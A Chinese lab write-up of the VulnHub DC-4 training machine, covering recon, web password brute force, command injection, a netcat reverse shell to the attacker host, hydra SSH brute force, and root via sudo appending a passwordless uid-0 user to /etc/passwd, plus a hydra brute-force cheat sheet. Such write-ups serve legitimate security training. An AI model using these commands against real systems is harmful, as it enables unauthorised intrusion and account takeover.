vulnhub靶场DC-4靶机渗透
DC-4 是入门级渗透测试靶机,面向初学者与中级学习者,核心目标是获取 root 权限并拿到唯一 flag,场景聚焦 Linux 权限提升与 Web 命令执行,无预设提示,适合练习基础渗透流程与工具使用。
一、靶机详情
DC-4 是入门级渗透测试靶机,面向初学者与中级学习者,核心目标是获取 root 权限并拿到唯一 flag,场景聚焦 Linux 权限提升与 Web 命令执行,无预设提示,适合练习基础渗透流程与工具使用。
配置介绍
- 靶机:192.168.245.148
- kali:192.168.1.131
二、信息收集
nmap -sV -p- 192.168.245.148

wappalyzer
得知该网站使用的是 nginx1.15.10

三、漏洞搜寻及利用
1.searchsploit 搜索漏洞
根据信息收集到的 nginx 1.15.10 和 openssh7.4 p1 使用 searchsploit 进行搜索


2.账号爆破
没搜到有用的漏洞利用脚本,接下来尝试密码爆破。爆破出用户名为 admin 的密码为 happy.登录进去。

进入 command 之后,随便点击一个发现可以执行系统命令。

抓包查看,是通过 radio 参数来传递命令的。

使用 id 命令查看当前用户权限

3 反弹 shell 建立连接
首先在 kali 中开启端口监听
nc -lvp 5555
执行反弹 shell 命令
nc 192.168.245.131 5555 -e /bin/bash


使用 python 启动交互式终端
python -c "import pty;pty.spawn('/bin/bash')"

搜索信息,发现有 3 个用户,在 jim 用户中发现信息

在 backups 中发现密码文件

4.hydra 爆破 ssh
将该文件中的密码复制出来,使用 hydra 对 ssh 进行爆破
hydra -l jim -P passwords.txt 192.168.245.148 ssh

使用爆破出来的 jim 用户的密码,用 ssh 登录
ssh -p 22 jim@192.168.245.148

打开 mbox 文件

在/var/mail 中发现写给 jim 的邮件,打开发现了 charles 的账号密码

使用 ssh 登录 charles 用户
ssh -p 22 charles@192.168.245.148

5. 提权
看一下有没有 sudo 提权
suod -l

发现可以无密码执行/usr/bin/teehee,teehee命令可以往一个文件追加内容,可以通过它向/etc/passwd写入内容,新增一个超级用户 test
echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
使用 su 切换用户,在/root 下发现 flag。

四、知识总结
1.hydra 使用方法
语法格式:
hydra [可选参数] [目标IP/域名] [协议名称] [爆破参数]
用户/密码相关参数
-l <username> 指定单个用户名(无需字典) -l admin(爆破 admin 用户)
-L <userlist.txt> 指定用户名字典文件(批量爆破多个用户) -L /usr/share/wordlists/usernames.txt
-p <password> 指定单个密码(无需字典) -p 123456(尝试密码 123456)
-P <passlist.txt> 指定密码字典文件(批量爆破多个密码) -P /usr/share/wordlists/rockyou.txt
-e <opt> 额外爆破选项(辅助提高成功率) -e ns(n:空密码;s:用户名 = 密码)
运行配置相关参数
-t <num> 指定爆破线程数(默认 16,线程越多速度越快,不宜过高避免被封禁) -t 32(32 线程运行)
-V / -v 详细模式输出(实时显示爆破过程,推荐使用) -V(查看每一次尝试的账户 / 密码)
-o <output.txt> 将爆破成功的结果写入指定文件(便于后续查看) -o hydra_success.txt
-w <sec> 指定超时时间(单位:秒,默认 30 秒,网络差时可调高) -w 60(超时 60 秒)
-s <port> 指定目标非默认端口(如 SSH 非 22 端口、HTTP 非 80 端口) -s 2222(爆破 2222 端口的 SSH)
经典案例
ssh 爆破
ssh爆破
# 语法:hydra -l 单个用户名 -P 密码字典 -V 目标IP ssh
hydra -l jim -P pass.txt -V 192.168.1.100 ssh
-----------------------------------------------------
hydra -L usernames.txt -P rockyou.txt -t 20 -V -o ssh_success.txt 192.168.1.100 ssh
#用 usernames.txt 中的所有用户、rockyou.txt 中的所有密码进行批量匹配,20 线程运行,成功结果写入 ssh_success.txt。
FTP 爆破
# 单用户+密码字典爆破
hydra -l ftpuser -P rockyou.txt -V 192.168.1.100 ftp
# 尝试匿名登录(利用 -e 选项)
hydra -l anonymous -P "" -e n -V 192.168.1.100 ftp
MYSQL 爆破
hydra -l root -P rockyou.txt -t 10 -V 192.168.1.100 mysql
2.sudo 提权
(1)sudo -l
sudo -l:查看当前登录用户被授予的 sudo 权限
(2)find / -perm -u=s -type f 2>/dev/null
在整个 Linux 系统中,查找所有带有 SUID(Set User ID)特殊权限的普通文件,这类文件允许普通用户以「该文件所有者(通常是 root)」的身份执行该文件,若找到可利用的 SUID 文件(如 find、bash、nmap 等),即可通过该文件实现权限提升。
更多推荐
所有评论(0)